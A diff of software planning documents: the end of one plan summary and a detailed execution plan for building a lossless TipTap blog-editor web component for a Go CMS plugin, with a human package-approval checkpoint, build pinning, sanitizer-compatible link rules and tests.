+- Tasks 3 and 4 are `tdd="true"`, but CLAUDE.md requires `go test ./...` green at every commit, so no failing RED test was committed. Task 3: the expansion smoke test was written first against compile stubs and failed on the planned behavior (`compile: ... unsupported column type notes`) before the implementation made it pass; test and implementation were committed together. Task 4: the SPA implementation was written before its tests in the same uncommitted change; the tests were then added and pass.
+
+---
+
+**Total deviations:** 3 auto-fixed (2 blocking, 1 correctness) plus 2 documented process/scope notes. **Impact:** no change to the planned API or behaviour; extra files are route inventories, a docs example and registry plumbing.
+
+## Issues Encountered
+
+- No Docker on this host: the Postgres-backed save, show and upload paths with a real record (the upload route with `{id}` other than 0, a real transaction and translation writer) are covered only by DryRun/unit smoke tests here; full coverage is plan 06 on a Docker host.
+
+## Known Stubs
+
+None.
+
+## Next Phase Readiness
+
+- Plans 02 (Journal editor element) and 03 (Journal Go integration) can build on this API; plan 03 must implement `ListValue(ctx, value)`.
+
+## Self-Check: PASSED
+
+- Created files exist: modules/cabana/field_type.go, modules/cabana/field_type_upload.go, modules/cabana/field_type_smoke_test.go, modules/cabana/example_field_type_test.go, admin/src/app/fieldTypes.ts, admin/src/components/form/fields/PluginField.vue, admin/src/components/form/fields/MLPluginField.vue, admin/tests/form/PluginField.test.ts, docs/backend/field-types.md.
+- Commits exist: 1e20ace, 717d46e, 83fa2f7, 8fa92db, 4adb48a.

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-PLAN.md

@@ -0,0 +1,305 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 02
+type: execute
+wave: 1
+depends_on: []
+coupling_justified: ["16.2-01: shares only the element contract (tag prefix rule, value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid, events summer-change, summer-upload, summer-upload-result), which plan 01 fixes per D-13 and its Task 1 checkpoint cannot rename (only pact and cabana Go identifiers, none of which this plan references), so both execution orders produce the same names"]
+files_modified:
+  - ../sm-journal-plugin/.gitignore
+  - ../sm-journal-plugin/package.json
+  - ../sm-journal-plugin/package-lock.json
+  - ../sm-journal-plugin/tsconfig.json
+  - ../sm-journal-plugin/vite.config.ts
+  - ../sm-journal-plugin/scripts/check-dist.sh
+  - ../sm-journal-plugin/assets/src/blogeditor/index.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/element.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/embed.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/labels.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
+  - ../sm-journal-plugin/assets/dist/blogeditor.js
+  - ../sm-journal-plugin/assets/dist/blogeditor.css
+  - ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html
+  - ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json
+  - ../sm-journal-plugin/tests/blogeditor/smoke.test.ts
+  - ../sm-journal-plugin/tests/blogeditor/corpus.test.ts
+  - ../sm-journal-plugin/admin.go
+  - ../sm-journal-plugin/README.md
+autonomous: false
+requirements: [D-01, D-03, D-04, D-05, D-13, D-16, D-18]
+estimate:
+  tokens: 118000
+  raw_tokens: 118000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-16: the Blog Editor is the custom element golem15-journal-blogeditor built from sm-journal-plugin assets/src with a pinned Vite library build into assets/dist/blogeditor.js and assets/dist/blogeditor.css; the bundle is committed, embedded through admin.go's //go:embed list, and scripts/check-dist.sh fails when assets/dist differs from a fresh build; the host app needs no npm."
+    - "D-01: the element is a WYSIWYG editor on TipTap with a source tab; the source tab shows and edits the exact HTML string."
+    - "D-03: setting value and reading it back without a user edit returns the identical string for the imported-post fixture (footer, style, spans, figures, tables, entities); no summer-change is emitted until a user edit; editing one paragraph leaves every other top-level block of the fixture byte-identical in the output."
+    - "D-04: the toolbar offers headings, bold, italic, bullet and ordered lists, links, blockquote, tables, images, embeds and a raw HTML block; unknown block markup (footer, section, aside, header, nav, details, style, div) becomes a non-editable raw HTML card that renders its source as text."
+    - "D-05: an embed is inserted from a YouTube URL as exactly <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id; the admin editor never renders an iframe."
+    - "D-05 (editor half of the policy cross-check): tests/blogeditor/fixtures/editor-corpus.json holds the editor's own serialized output (embed, image with and without caption, table with header row, links, headings, bullet and ordered lists including one starting at 3, blockquote, inline marks, code, horizontal rule, hard break, and one document combining them); corpus.test.ts rebuilds every entry through editor commands and fails when the committed file differs, so plan 03 (Go policy) and plan 04 (layer mirror) test the real output; links the editor creates use only http, https, mailto or a relative URL."
+    - "D-18 (editor half): an image chosen with the file picker or dropped on the editor is sent as summer-upload {id, file}; on summer-upload-result {id, url} the editor inserts an img with alt text, inside figure with figcaption when a caption is given; on {id, error} it shows the error and inserts nothing."
+    - "D-13: the element follows the documented contract (value property, attributes field-name, record-id, locale, ui-locale, options, disabled, invalid; events summer-change, summer-upload) and styles only through --c-* variables under its tag."
+  artifacts:
+    - path: "../sm-journal-plugin/assets/dist/blogeditor.js"
+      provides: "committed editor bundle"
+      contains: "golem15-journal-blogeditor"
+    - path: "../sm-journal-plugin/scripts/check-dist.sh"
+      provides: "dist drift gate"
+      contains: "diff -r"
+    - path: "../sm-journal-plugin/assets/src/blogeditor/serializer.ts"
+      provides: "lossless serializer with top-level block reuse"
+      contains: "serializeDocument"
+    - path: "../sm-journal-plugin/admin.go"
+      provides: "embed of the editor bundle"
+      contains: "assets/dist/blogeditor.js"
+    - path: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
+      provides: "the editor's own output, checked against both sanitizer policies"
+      contains: "data-embed"
+  key_links:
+    - from: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
+      to: "plan 03 classes/editor_policy_test.go and plan 04 vue-journal-layer tests/fixtures/editor-corpus.json"
+      via: "the Go test reads it in place; the layer keeps a byte copy that the phase gate compares"
+      pattern: "editor-corpus.json"
+    - from: "../sm-journal-plugin/admin.go adminFS"
+      to: "../sm-journal-plugin/assets/dist/blogeditor.js"
+      via: "//go:embed line, served by cabana as a field-type script (plan 03 declares it)"
+      pattern: "assets/dist/blogeditor"
+    - from: "golem15-journal-blogeditor summer-upload"
+      to: "admin SPA PluginField (plan 01)"
+      via: "bubbling CustomEvent answered with summer-upload-result"
+      pattern: "summer-upload"
+  prohibitions:
+    - statement: "The editor never re-serializes an untouched document and never uses editor.getHTML() as the stored value."
+      status: unresolved
+      verification: judgment
+    - statement: "The bundle uses no eval or new Function and injects no style tag (admin CSP script-src 'self'; injectCSS false)."
+      status: unresolved
+      verification: judgment
+    - statement: "The element renders no iframe and no live raw HTML in the admin; raw blocks show escaped text."
+      status: unresolved
+      verification: judgment
+    - statement: "The element never asks for, stores or sends credentials and never calls the public Journal media API itself."
+      status: unresolved
+      verification: judgment
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 1, plan 02): the Blog Editor custom element in `../sm-journal-plugin` (`assets/src` to `assets/dist`), with its own JS build, tests and drift gate, embedded in the plugin. Plan 03 registers it as the `blogeditor` and `mlblogeditor` field types.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 and D-10 amended)
+
+The server no longer refuses unsafe markup. 16.1 replaced the regex gate with a bluemonday policy (`classes.SanitizeHTML`), and under amended D-10 every admin save stores the sanitized value and reports what was removed. Anything the editor writes that the policy does not allow would therefore vanish silently on save. Amended D-05 requires the editor's own output to pass both the Go policy and the layer's sanitize-html mirror byte for byte. This plan now (1) records that output as a committed corpus that plan 03 and plan 04 test against, and (2) limits the links the editor creates to the URL schemes both policies allow. The element still never sanitizes. Where RESEARCH or PATTERNS describe CheckHTML refusing, this plan's text wins.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Decisions recorded here (Claude's discretion)
+
+- **TipTap version (user decision 6):** keep 3.31.4, the version RESEARCH probed (lossiness, emitUpdate, trailingNode), behind a blocking human package check before the first install. An older 3.x was never probed, so pinning one would trade a known release-age flag for unverified behaviour.
+- **Embed markup and allowlist (D-05):** exactly `<figure data-embed="youtube" data-id="ID"></figure>`, attributes in that order, no caption, id matching `^[A-Za-z0-9_-]{11}$`. YouTube is the only provider; the provider table in `embed.ts` and in the layer (plan 04) has one entry so another provider is one entry in each.
+- **Untouched detection (D-03):** the element keeps the exact served string and returns it until a user edit (client layer); cabana also skips values equal to what it served (plan 01).
+- **Top-level block reuse (RESEARCH A3):** included. Unedited top-level blocks keep their original bytes after an edit elsewhere.
+- **Image without caption:** a plain `img` block; with a caption, `figure` with `img` and `figcaption`.
+- **Links the editor creates (D-05, D-10 amended):** only `http`, `https`, `mailto` and relative URLs, the schemes both sanitizer policies keep; no `target`, `rel` or `class` is added. A stored link with another scheme, or with `target`/`rel`, is preserved in the editor but stripped by the server if the post is saved after an edit.
+- **Policy corpus (D-05):** the editor's own output is committed as `tests/blogeditor/fixtures/editor-corpus.json`, rebuilt and compared by `corpus.test.ts` (set `UPDATE_CORPUS=1` to rewrite it). The imported-post fixture is deliberately not in it: it holds legacy markup (the style block, `target`, `rel`) that the server strips on an edited save.
+
+## Artifacts this phase produces (this plan)
+
+- Custom element `golem15-journal-blogeditor` (class `BlogEditorElement`), registered once by `assets/src/blogeditor/index.ts`.
+- `assets/src/blogeditor/extensions.ts`: `preservationExtensions()`, nodes `rawHtml`, `figure`, `figcaption`, `embed`, mark `span`, extension `htmlAttributes` (global attribute map), table render override.
+- `assets/src/blogeditor/serializer.ts`: `serializeDocument(editor, original)`, `captureBlocks(html, schema)`.
+- `assets/src/blogeditor/embed.ts`: `EMBED_PROVIDERS`, `parseEmbedUrl(url)`.
+- `assets/src/blogeditor/labels.ts`: `labelsFor(uiLocale)` with `en` and `pl` tables.
+- `assets/src/blogeditor/toolbar.ts`: `buildToolbar(...)`.
+- Build files: `package.json`, `package-lock.json`, `tsconfig.json`, `vite.config.ts` (build and vitest config), `scripts/check-dist.sh`, `.gitignore`.
+- Committed bundle: `assets/dist/blogeditor.js`, `assets/dist/blogeditor.css`.
+- Test files: `tests/blogeditor/fixtures/imported-post.html`, `tests/blogeditor/smoke.test.ts`, `tests/blogeditor/corpus.test.ts`.
+- Corpus: `tests/blogeditor/fixtures/editor-corpus.json` (array of `{name, html}`), `isPolicyUrl(url)` in `extensions.ts` (the link URL rule).
+
+<objective>
+Build the Blog Editor custom element (D-01, D-03, D-04, D-05, D-13, D-16, D-18 editor half) as sm-journal-plugin's own JS build with a committed, embedded bundle.
+
+Purpose: plan 03 registers this element as the Journal post and category content field type.
+Output: package setup, element source, preservation schema and serializer, upload and embed UI, vitest smoke tests, committed dist, drift gate, embed line, README section.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-PATTERNS.md
+
+Repository: `../sm-journal-plugin` (branch main). Commits there: no co-author tags, stage by explicit path, one logical change per commit. It has no `.gitignore` today; add one with `node_modules/` before the first install. The Go module builds against `../summercms.go` through `go.work`.
+
+<interfaces>
+Element contract (identical to plan 01's interfaces block; plan 01 documents it in docs/backend/field-types.md). Fixed for this phase: plan 01's Task 1 checkpoint may rename only pact and cabana Go identifiers, never these names, so this plan runs in parallel with plan 01 against them. If plan 01's SUMMARY or checkpoint reply ever lists a change to any name below, stop and report instead of guessing.
+- Property `value` (string). Attributes `field-name`, `record-id`, `locale`, `ui-locale`, `options` (JSON), `disabled`, `invalid`.
+- Events (bubbling CustomEvent): `summer-change` detail `{value}` on user edits only; `summer-upload` detail `{id, file}`; the SPA answers on the element with `summer-upload-result` detail `{id, url}` or `{id, error}`.
+- Setting `value` to the string the element currently returns is a no-op (no reset, no event).
+
+Embed placeholder (stored markup, consumed by the layer in plan 04):
+
+```html
+<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
+```
+
+Element skeleton (RESEARCH Code Example 3, the value logic to keep):
+
+```ts
+get value(): string { return this.#dirty ? serializeDocument(this.#editor!, this.#blocks) : this.#value }
+set value(v: string) {
+  if (v === this.value) return                       // echo of our own summer-change
+  this.#value = v; this.#dirty = false
+  this.#editor?.commands.setContent(v, { emitUpdate: false })
+}
+// onUpdate({ transaction }): if (!transaction.docChanged) return; dirty = true; dispatch summer-change
+```
+
+Pinned toolchain (same versions as summercms.go/admin/package.json): vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3. Editor packages (exact): @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image, all 3.31.4.
+
+Policy the server applies on save (plan 03, sm-journal-plugin classes/format_html.go `SanitizeHTML`, the bluemonday UGC policy plus the Journal extensions in `newHTMLPolicy`): it strips what it does not allow and never refuses (D-10 amended). Stripped are, among others, `script`, `style`, `iframe`, `object`, `embed`, `form`, `svg`, comments, every `on*` attribute, `target` and `rel` on links, `alt` values outside UGC's Paragraph pattern, `start` on `ol`, `data-*` on `figure`, and URLs other than http, https, mailto and relative. Plan 03 extends the policy for exactly this element's own output: `figure` `data-embed` (`youtube`) and `data-id` (11 characters `[A-Za-z0-9_-]`), `img` `alt` with any text, and `ol` `start` (integer); plan 04 mirrors the same four in the layer. The save response then names what was removed and the SPA sets the stored value back into the element through the value property (plan 01). The element does not try to rewrite content.
+</interfaces>
+</context>
+
+<tasks>
+
+<task type="checkpoint:human-verify" gate="blocking-human">
+  <name>Task 1: Package legitimacy check before the first TipTap install (all @tiptap packages flagged too-new)</name>
+  <read_first>.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Package Legitimacy Audit, Standard Stack), ../summercms.go/admin/package.json (the approved toolchain pins)</read_first>
+  <action>Do not install anything. Run the read-only registry query in the verify command and print, for each of @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table and @tiptap/extension-image at 3.31.4: version, license, repository URL, publish time, and the scripts object (preinstall, install and postinstall must be absent). Print the npm pages for the human: https://www.npmjs.com/package/@tiptap/core, https://www.npmjs.com/package/@tiptap/pm, https://www.npmjs.com/package/@tiptap/starter-kit, https://www.npmjs.com/package/@tiptap/extension-table, https://www.npmjs.com/package/@tiptap/extension-image, and the release list https://github.com/ueberdosis/tiptap/releases. State the recorded choice: 3.31.4 is kept because it is the version the research probed; the flag is the release age (published 2026-09-30), not the packages. Stop for the human. This checkpoint is never auto-approved.</action>
+  <what-built>Nothing yet: a read-only registry report for the five editor packages.</what-built>
+  <how-to-verify>Open each npm page: the publisher is the TipTap organisation (ueberdosis), the repository is github.com/ueberdosis/tiptap, the license is MIT, version 3.31.4 exists and has normal weekly downloads, and the package has no install scripts. Check the GitHub release notes for 3.31.4 for any security advisory or yanked release.</how-to-verify>
+  <resume-signal>Reply "packages approved" to install 3.31.4, "use X.Y.Z" to pin another 3.x release for all five packages (the executor re-runs the query for it), or "stop".</resume-signal>
+  <verify>
+    <automated>for p in @tiptap/core @tiptap/pm @tiptap/starter-kit @tiptap/extension-table @tiptap/extension-image; do npm view "$p@3.31.4" version license repository.url --json || exit 1; npm view "$p@3.31.4" scripts --json | grep -E '"(preinstall|install|postinstall)"' &amp;&amp; exit 1; done; echo registry-ok</automated>
+    <fails_when>Non-zero exit or "registry-ok" absent: a package or version is missing from the registry, or a package declares a preinstall, install or postinstall script.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - The verify printed registry-ok and the SUMMARY records each package's license and repository URL.
+    - The SUMMARY records the human's reply verbatim and the version that Task 2 installs.
+  </acceptance_criteria>
+  <done>A human approved the editor packages and their version, or stopped the plan.</done>
+</task>
+
+<task type="tracer">
+  <name>Task 2: Tracer: element source to committed, embedded bundle, with the untouched-value contract proven on an imported post</name>
+  <precondition>Task 1 was answered "packages approved" or "use X.Y.Z"; `node --version` reports v22.6 or later.</precondition>
+  <files>../sm-journal-plugin/.gitignore, ../sm-journal-plugin/package.json, ../sm-journal-plugin/package-lock.json, ../sm-journal-plugin/tsconfig.json, ../sm-journal-plugin/vite.config.ts, ../sm-journal-plugin/scripts/check-dist.sh, ../sm-journal-plugin/assets/src/blogeditor/index.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/admin.go</files>
+  <read_first>../sm-journal-plugin/admin.go (the //go:embed list), ../sm-journal-plugin/plugin_test.go (AdminFS assertions), ../summercms.go/admin/package.json (toolchain pins), ../summercms.go/admin/vitest.config.ts, ../summercms.go/scripts/check-admin-dist.sh (drift gate to mirror), ../summercms.go/admin/src/components/form/fields/WidgetField.vue (header comment: element rules), ../summercms.go/modules/cabana/README.md (section "Partial style kit and plugin CSS variables": the --c-* names), ../summercms.go/modules/boardwalk/boardwalk.go (admin CSP, line 32), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/ekstrakt-z-turkey-tail.json (fixture source: its content field, markdown with the author footer and style), .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Patterns 3, 5, 8; Pitfalls 1-4; Code Example 3)</read_first>
+  <action>Make the element exist end to end before any schema work (per D-16, D-13, D-03).
+
+Setup (D-16): in ../sm-journal-plugin add .gitignore with node_modules/; a private ESM package.json ("type": "module", engines node >=22.6) with exact pins: dependencies @tiptap/core, @tiptap/pm, @tiptap/starter-kit, @tiptap/extension-table, @tiptap/extension-image at the version Task 1 approved; devDependencies vite 7.3.5, vitest 3.2.7, happy-dom 20.11.6, typescript 5.9.3; scripts typecheck ("tsc --noEmit"), build ("vite build"; run typecheck before it), test ("vitest run"). Install with npm install --save-exact and commit package-lock.json. tsconfig.json: strict, ES2022, moduleResolution bundler, DOM lib, include assets/src and tests. vite.config.ts: library mode with entry assets/src/blogeditor/index.ts, formats ['es'], fixed output names blogeditor.js and blogeditor.css (no content hash; cabana adds ?v=), outDir assets/dist, emptyOutDir true, plus the vitest block (environment happy-dom, include tests/**/*.test.ts). scripts/check-dist.sh mirrors scripts/check-admin-dist.sh: set -euo pipefail, npm ci when node_modules is missing, npm run typecheck, vite build into a temp dir, diff -r against assets/dist, message "check-dist: assets/dist is stale; run npm run build and commit assets/dist".
+
+Element (D-13, D-03): assets/src/blogeditor/element.ts defines BlogEditorElement (light DOM). connectedCallback builds a toolbar row with a WYSIWYG and a Source tab, the ProseMirror mount and a hidden textarea; the TipTap Editor uses injectCSS false, StarterKit configured with trailingNode false and link: HTMLAttributes target, rel and class all null, openOnClick false (Pitfalls 2 and 3), and content from the current value; disconnectedCallback destroys the editor. The value getter and setter follow the interfaces skeleton: the exact served string is returned until a user-originated docChanged transaction or a textarea input; initial and external content goes in through the content option or setContent with emitUpdate false (Pitfall 4); summer-change is dispatched with detail.value on each user edit only. Source tab: the textarea shows exactly this.value; typing there makes the value the exact textarea text (dirty) and dispatches summer-change; switching back re-parses only when the text changed, and the value stays the textarea text until the next WYSIWYG edit. Attributes: disabled makes the editor and textarea read-only; invalid sets aria-invalid. index.ts imports the CSS and defines the tag golem15-journal-blogeditor once (customElements.get guard). blogeditor.css carries the ProseMirror base rules TipTap would have injected plus layout, all selectors under golem15-journal-blogeditor and colours only from var(--c-...) names listed in the cabana README.
+
+Fixture: tests/blogeditor/fixtures/imported-post.html holds the pl content_html of the export post ekstrakt-z-turkey-tail (rendered markdown, the author footer with itemscope, itemprop and span style, and the style block), plus appended sample blocks that the export lacks: a table with thead, a figure with img and figcaption, a link with target and rel, and a paragraph whose double quotes are written as the named quot entity (the 17-of-100 entity case from RESEARCH Pattern 3). It deliberately keeps legacy markup that the server policy strips (the style block, target, rel): the element must return it byte for byte; stripping is the server's job on an edited save (D-10). The live post 64 on UAT no longer has the style block in content_html (re-saved in 16.1); the local export still does, which is why the fixture comes from the export.
+
+Smoke: tests/blogeditor/smoke.test.ts (happy-dom): importing index.ts defines the tag; setting value to the fixture and reading value returns the identical string; no summer-change fires on set or on an echo set; a simulated user insertText fires exactly one summer-change whose detail.value equals element.value; the source tab textarea shows the exact value.
+
+Build and embed: npm run build, commit assets/dist/blogeditor.js and blogeditor.css. Add "//go:embed assets/dist/blogeditor.js assets/dist/blogeditor.css" to the adminFS embed list in admin.go. Commits: "build(editor): blog editor JS build and drift gate" (package files, configs, script, .gitignore), "feat(editor): blog editor element with exact untouched value" (source, tests, dist, admin.go).</action>
+  <verify>
+    <automated>../sm-journal-plugin/node_modules/.bin/vitest run --root ../sm-journal-plugin tests/blogeditor/smoke.test.ts &amp;&amp; bash ../sm-journal-plugin/scripts/check-dist.sh &amp;&amp; go -C ../sm-journal-plugin vet ./... &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ ./controllers/...</automated>
+    <fails_when>Non-zero exit: a smoke case fails (the untouched value differs from the fixture, or summer-change fires without an edit), check-dist prints "check-dist: assets/dist is stale", go vet fails (for example the embed pattern matches no file), or the classes or controllers tests fail.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c "golem15-journal-blogeditor" ../sm-journal-plugin/assets/dist/blogeditor.js` prints a number of at least 1.
+    - `grep -n "assets/dist/blogeditor.js" ../sm-journal-plugin/admin.go` prints one line.
+    - `git -C ../sm-journal-plugin check-ignore node_modules` prints node_modules.
+    - `grep -cE "eval\(|new Function\(" ../sm-journal-plugin/assets/dist/blogeditor.js` prints 0 (admin CSP script-src 'self'; the bundle is minified and has no comments to filter).
+    - smoke.test.ts passes its four cases on the imported-post fixture.
+  </acceptance_criteria>
+  <done>The element is built, committed and embedded; an untouched imported post round-trips byte for byte and only user edits emit summer-change.</done>
+</task>
+
+<task type="auto" tdd="true">
+  <name>Task 3: Expansion: preservation schema and serializer, toolbar features, image upload and YouTube embeds</name>
+  <reversibility rating="costly">D-05: the embed placeholder markup becomes stored content in live posts and the layer's renderer depends on it; changing it later needs a content migration and a layer release.</reversibility>
+  <files>../sm-journal-plugin/assets/src/blogeditor/extensions.ts, ../sm-journal-plugin/assets/src/blogeditor/serializer.ts, ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts, ../sm-journal-plugin/assets/src/blogeditor/embed.ts, ../sm-journal-plugin/assets/src/blogeditor/labels.ts, ../sm-journal-plugin/assets/src/blogeditor/element.ts, ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css, ../sm-journal-plugin/assets/dist/blogeditor.js, ../sm-journal-plugin/assets/dist/blogeditor.css, ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/corpus.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json, ../sm-journal-plugin/README.md</files>
+  <read_first>../sm-journal-plugin/assets/src/blogeditor/element.ts (Task 2 state), ../sm-journal-plugin/tests/blogeditor/smoke.test.ts, ../sm-journal-plugin/tests/blogeditor/fixtures/imported-post.html, ../sm-journal-plugin/node_modules/@tiptap/starter-kit/src/starter-kit.ts (option names), ../sm-journal-plugin/node_modules/@tiptap/extension-table/src (TableKit and renderHTML), ../sm-journal-plugin/node_modules/@tiptap/extension-image/src/image.ts, ../sm-journal-plugin/node_modules/@tiptap/extension-link/src/link.ts (isAllowedUri, HTMLAttributes), the installed OrderedList source (../sm-journal-plugin/node_modules/@tiptap/extension-list/src in TipTap 3, or the package StarterKit imports it from: the start attribute and its input rule), ../sm-journal-plugin/classes/format_html.go (newHTMLPolicy, SanitizeHTML: what the server keeps), ../vue-journal-layer/app/utils/htmlGate.ts (allowedUrl: the URL rule to mirror), ../sm-journal-plugin/README.md, .planning/notes/journal-html-sanitizing-bluemonday.md, .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md (Pattern 4, Pitfalls 1-3, Security Domain; its CheckHTML text predates the bluemonday switch)</read_first>
+  <behavior>
+    - rawHtml: footer, section, aside, header, nav, details, style and div blocks, and a figure that is not exactly img plus optional figcaption, become one atomic block holding the outer HTML; its card shows the source as text (a rawHtml holding an img with an onerror attribute creates no img element in the editor DOM).
+    - Global attributes: class, data-*, itemprop, style and other unmodelled attributes on paragraphs, headings, lists, list items, blockquotes, tables, cells, images and links survive a WYSIWYG edit elsewhere in the document; span with style or class survives as a mark.
+    - Serializer: after editing one paragraph of the fixture, every other top-level block is byte-identical to the input; tables serialize without colgroup or min-width style, keep a leading header row in thead and do not wrap single-paragraph cell text in p; links keep their own target and rel and gain none; no trailing empty paragraph.
+    - Embed: parseEmbedUrl accepts youtube.com/watch?v=, youtu.be/, youtube.com/shorts/ and youtube.com/embed/ URLs and returns the 11-character id; anything else returns null; the embed node renders exactly the placeholder in the interfaces block and round-trips unchanged; the editor shows a card, never an iframe.
+    - Upload: picking or dropping an image dispatches summer-upload {id, file}; a matching summer-upload-result {id, url} opens the alt-and-caption form and inserts img (or figure with figcaption when a caption is given); {id, error} shows the error and inserts nothing; a non-matching id is ignored.
+    - Links: isAllowedUri, the link input and isPolicyUrl accept only http, https, mailto and relative URLs; javascript:, vbscript:, data:, tel: and a scheme hidden by a tab or newline are refused; a created link has href only.
+    - Corpus (D-05): corpus.test.ts builds each entry through editor commands (embed from a youtube.com URL; image without caption whose alt contains a colon, a question mark and double quotes; image with caption; 3x3 table with header row; links http, https, mailto and relative; headings 2 to 4; bullet list; ordered list; ordered list starting at 3; blockquote; bold, italic, strike, underline and inline code; code block; horizontal rule; hard break; one document combining all of them) and compares each serialized value with editor-corpus.json; with UPDATE_CORPUS=1 it rewrites the file instead.
+  </behavior>
+  <action>Make edited documents keep as much markup as possible and add the D-04 features (per D-03, D-04, D-05, D-18; RESEARCH Pattern 4).
+
+extensions.ts exports preservationExtensions(): StarterKit as configured in Task 2, with Link's isAllowedUri replaced by isPolicyUrl (also exported): the URL is accepted when, after removing ASCII control characters, spaces and DEL, it has no scheme (relative, including # and ?) or its scheme is http, https or mailto (the rule both sanitizer policies apply; see allowedUrl in the layer's htmlGate.ts); Image with inline true and allowBase64 false; TableKit with a renderHTML override that emits no colgroup and no min-width style; node rawHtml (atom, group block, low priority, parse rules for footer, section, aside, header, nav, details, style and div and the non-matching figure case, attribute html holding the outer HTML, node view showing a non-editable card with the source as textContent and an "edit as HTML" action that switches to the Source tab); node figure (content image then optional figcaption, getAttrs returns false for any other figure shape) and node figcaption; node embed (atom, parse rule figure[data-embed] at a higher priority than figure, attributes provider and id, renderHTML exactly the placeholder with data-embed before data-id, a card node view with the provider name and id, no iframe); mark span (parse span with any attribute, render back); extension htmlAttributes using addGlobalAttributes over the modelled node and mark types with one attribute that captures every attribute the node does not model and renders it back.
+
+serializer.ts exports captureBlocks(html, schema), which at load parses each top-level child of the original HTML alone and records the resulting nodes with their exact outer HTML and the text between blocks, and serializeDocument(editor, blocks), which walks the top-level nodes, emits the recorded original text for every run of nodes still equal (Node.eq) to the captured ones, emits rawHtml nodes verbatim, and serializes the rest with DOMSerializer.fromSchema plus the table and cell rules above. element.ts uses serializeDocument for the dirty value; editor.getHTML() is never the stored value.
+
+embed.ts exports EMBED_PROVIDERS (one entry: youtube, id pattern ^[A-Za-z0-9_-]{11}$) and parseEmbedUrl(url). labels.ts exports labelsFor(uiLocale) with en and pl tables for every toolbar label, prompt and error (fallback en). toolbar.ts builds the toolbar: paragraph and headings 2 to 4, bold, italic, bullet list, ordered list, link (inline URL input, empty removes the link), blockquote, table (insert 3x3 with header row, add or delete row and column, delete table), image (file picker with accept image/jpeg, image/png, image/gif, image/webp), embed (inline URL input through parseEmbedUrl, error label for an unsupported URL), raw HTML block (inserts an empty rawHtml and opens Source), undo, redo, and the WYSIWYG/Source tabs.
+
+Uploads in element.ts (D-18): files from the picker or a drop of image files are each sent as summer-upload with a fresh id (crypto.randomUUID); the element waits for summer-upload-result with that id (timeout 60 s ends in the error label), then shows an inline form with alt text (required) and caption (optional), and inserts img with src and alt, or figure with img and figcaption when the caption is set. Errors appear in an aria-live status line inside the element. Pasted base64 images are dropped (allowBase64 false).
+
+Corpus (D-05): new tests/blogeditor/corpus.test.ts builds the entries listed in the behavior block on happy-dom through editor commands only (insertContent of HTML is not used, so each entry is what the toolbar and input rules produce), serializes each with serializeDocument, and compares the array of {name, html} with tests/blogeditor/fixtures/editor-corpus.json; with UPDATE_CORPUS=1 it writes the file (two-space JSON, trailing newline). Generate and commit the file. The corpus must hold no iframe, no on* attribute, no target or rel, no style attribute and no URL outside isPolicyUrl; the test asserts that too. Plans 03 and 04 consume this file, so its entry names stay stable once committed.
+
